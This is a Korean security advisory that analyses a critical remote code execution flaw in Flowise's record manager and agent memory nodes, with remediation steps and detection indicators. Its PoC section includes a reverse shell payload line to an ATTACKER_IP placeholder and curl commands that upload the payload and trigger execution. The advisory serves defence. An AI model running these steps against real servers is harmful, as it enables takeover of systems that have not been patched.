위협 요약
FlowiseAI/Flowise의 record manager와 agent memory 노드에서 원거리 코드 실행(RCE) 취약점이 확인되었다. 인증된 사용자가 additionalConfig 입력을 통해 TypeORM DataSource 클래스의 임의 옵션을 설정할 수 있으며, 이를 이용해 로컬 JavaScript 파일을 서버에서 실행시킬 수 있다. CVSS 4.0 기준 9.0(CRITICAL) 점수를 받았으며, 공개된 PoC를 통해 Docker 컨테이너 내부에서 루트 권한 리버스 셸 획득이 확인되었다. 3.1.3 버전에서 패치되었으므로 즉시 업그레이드가 필요하다.
취약점 개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-69251 |
| GHSA | GHSA-g32j-mmxr-gfq5 |
| 제품 | FlowiseAI/Flowise, flowise-components |
| 영향 버전 | 3.1.3 미만 |
| 패치 버전 | 3.1.3 이상 |
| CVSS 4.0 | 9.0 CRITICAL |
| 벡터 | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-94 (Improper Control of Generation of Code) |
| 보고자 | Alex Brown (@elttam) |
| CNA | GitHub, Inc. |
| 공개일 | 2026-04-15 (GHSA), 2026-08-04 (NVD) |
Flowise는 LLM 기반 애플리케이션을 시각적으로 구축할 수 있는 오픈소스 플랫폼이다. 사용자들이 프롬프트 엔지니어링과 에이전트 워크플로우를 드래그앤드롭 방식으로 설계할 수 있도록 지원한다. 이번 취약점은 Flowise의 레코드 매니저(record manager)와 에이전트 메모리(agent memory) 노드에서 발생하며, 사용자가 추가 설정(additionalConfig) 필드를 통해 TypeORM DataSource 인스턴스에 직접 옵션을 전달할 수 있게 되어 발생하는 코드 주입 문제이다.
기술적 분석
취약점 원리
Flowise의 다음 노드에서 additionalConfig 입력이 TypeORM DataSource의 생성자에 그대로 전달된다.
- MySQLRecordManager (
packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) - PostgresRecordManager (
packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts) - SQLiteRecordManager (
packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts) - MySQLAgentMemory (
packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts) - AgentMemory (
packages/components/nodes/memory/AgentMemory/AgentMemory.ts)
TypeORM DataSource 옵션은 다음 중 일부 또는 전부가 코드 실행 경로를 제공한다.
entities— 임의 JavaScript 파일 로드subscribers— 임의 JavaScript 파일 로드migrations— 임의 JavaScript 파일 로드extra— 위험한 드라이버 옵션 전달
상기 옵션들은 문자열 배열 또는 객체로 받으며, TypeORM이 해당 경로에 있는 JavaScript 파일을 모듈로 로드한다. 이 과정에서 파일 내용에 포함된 코드가 서버 컨텍스트에서 실행된다.
공격 경로
공격자는 다음 단계를 거쳐 서버 코드 실행을 달성한다.
- Flowise 인스턴스에 로그인하여 organisation ID 확인
- Document Store에서 JavaScript 페이로드 파일 업로드 (예: 리버스 셸 코드 포함)
- Chatflow에 MySQL Record Manager 노드 추가
- additionalConfig의 entities 또는 subscribers 설정에 업로드한 JS 파일 경로 지정
- Upsert 작업 실행 — JS 코드가 서버에서 실행됨
- 결과: vm2 샌드박스 탈출, 서버 전체 장악
PoC 분석
GitHub Advisory에 포함된 PoC는 Docker 컨테이너 환경에서 루트 권한 리버스 셸을 획득하는 것을 확인한다. vm2 샌드박스 보호 장치를 process.mainModule.require를 통한 child_process 접근으로 우회한다.
주요 악용 흐름은 다음과 같다.
{
"additionalConfig": {
"entities": ["/path/to/uploaded/payload.js"]
}
}
# JS 페이로드 파일 준비 (예: payload.js)
# require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');
# Document Store를 통해 업로드
curl -X POST https://TARGET/api/v1/documentstore/upload \
-H "Authorization: Bearer TOKEN" \
-F "file=@payload.js"
# Chatflow에 Record Manager 추가 및 additionalConfig 설정
# Upsert 작업 실행 시 코드 실행
curl -X POST https://TARGET/api/v1/upsert/CHATFLOW_ID \
-H "Authorization: Bearer TOKEN"
패치 분석
3.1.3 버전에서는 TypeORM DataSource 클래스 옵션에 대한 사용자 입력을 완전히 제한한다. 특히 extra, entities, subscribers, migrations 옵션의 사용자 제공 값을 차단하여 코드 주입 경로를 차단한다. 3.1.2 → 3.1.3 업그레이드는 89개의 커밋, 502개 파일 변경을 포함한다.
영향 범위
시스템 영향
| 영향 영역 | 수준 | 설명 |
|---|---|---|
| 기밀성 | HIGH | 서버 파일 시스템 전체 접근 |
| 무결성 | HIGH | 임의 코드 실행을 통한 데이터 변조 |
| 가용성 | HIGH | 서비스 중단 가능 |
| 2차 영향 | HIGH | 같은 호스트의 다른 서비스 장악 가능 |
Docker 컨테이너 환경에서 실행 시 컨테이너 내부의 루트 권한 장악이 가능하다. 컨테이너 호스트와의 경계가 약화된 환경(예: 루트리스 컨테이너 미적용, volumes 과도한 마운트)에서는 호스트 시스템까지 침투할 수 있다.
영향 대상
- Flowise 3.1.2 및 이전 버전 사용 중인 모든 인스턴스
- MySQL, PostgreSQL, SQLite 레코드 매니저 또는 에이전트 메모리 노드를 사용하는 Chatflow
- Document Store 기능을 활성화한 환경
공격 전제 조건
- Flowise 인스턴스의 인증된 사용자 계정 필요 (PR:L — 낮은 권한)
- Flowise 인스턴스가 동작 중이어야 함 (AT:P — 공격 전제조건 존재)
- 원격 공격 가능 (AV:N — 네트워크)
- 사용자 상호작용 불필요 (UI:N)
실제 위협 환경
Flowise는 공공 배포가 많은 오픈소스 LLM 플랫폼으로, 실제 표적 공격 가능성이 높다. PoC가 공개되어 있으며, CISA Advisory Distribution Platform에 게시되어 있어 정부 기관에서도 주목하고 있다.
대응 방안
즉시 수행
-
Flowise 3.1.3 이상으로 업그레이드
패치가 제공되었으므로 가장 우선적으로 적용한다.
# Docker 환경 docker pull flowiseai/flowise:3.1.3 docker-compose up -d --force-recreate # npm 환경 npm install flowise@3.1.3 -
additionalConfig 사용 중인 Chatflow 확인
3.1.3 업그레이드 후 existing Chatflow에서 additionalConfig 설정이 정상적으로 제한되는지 확인한다. -
의심스러운 활동 모니터링
최근 로그에서 파일 업로드 기록, Upsert 작업 로그, 예상치 못한 프로세스 실행을 확인한다.
단기 대응
-
Document Store 파일 업로드 제한
JS 확장자를 포함한 파일 업로드를 차단하는 필터를 적용한다. -
Docker 컨테이너 권한 제한
컨테이너를 루트 권한으로 실행하지 않으며, 필요한 파일 시스템 접근만 마운트한다.
# docker-compose.yml 예시 security_opt: - no-new-privileges:true read_only: true -
네트워크 세그멘테이션
Flowise 컨테이너를 별도의 네트워크 세그먼트로 격리하여 lateral movement를 제한한다.
장기 대응
-
정기적 버전 업데이트 프로세스 확립
Flowise와 같은 활발히 개발되는 오픈소스 플랫폼의 경우 정기 패치 사이클을 마련한다. -
CI/CD 파이프라인에서 취약성 스캔
컨테이너 이미지의 의존성 취약점을 자동으로 감지하도록 설정한다. -
최소한의 권한 원칙 적용
Flowise 서비스 계정의 파일 시스템 접근 권한을 최소화하며, 불필요한 외부 네트워크 접근을 차단한다.
탐지 지표
다음 로그 패턴을 모니터링하여 잠재적 공격을 탐지한다.
- Document Store를 통한
.js,.ts파일 업로드 - additionalConfig 필드에 파일 경로가 포함된 Chatflow 생성/수정
- Upsert 작업 실행 후 예상치 못한 프로세스 생성
- 외부 IP로의 네트워크 아웃바운드 연결 (리버스 셸 의심)
참고문헌
-
CVE.org
https://www.cve.org/CVERecord?id=CVE-2026-69251 -
NVD (National Vulnerability Database)
https://nvd.nist.gov/vuln/detail/CVE-2026-69251 -
GitHub Security Advisory (GHSA-g32j-mmxr-gfq5)
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5 -
TypeORM DataSource Options
https://typeorm.io/docs/data-source/data-source-options/ -
Flowise Releases
https://github.com/FlowiseAI/Flowise/releases
본 콘텐츠는 AI 기술로 작성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하셨으면 댓글을 통해 의견을 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.
댓글 (0)
댓글을 작성하려면 로그인이 필요합니다.
로그인아직 댓글이 없습니다.
첫 번째 댓글을 작성해보세요!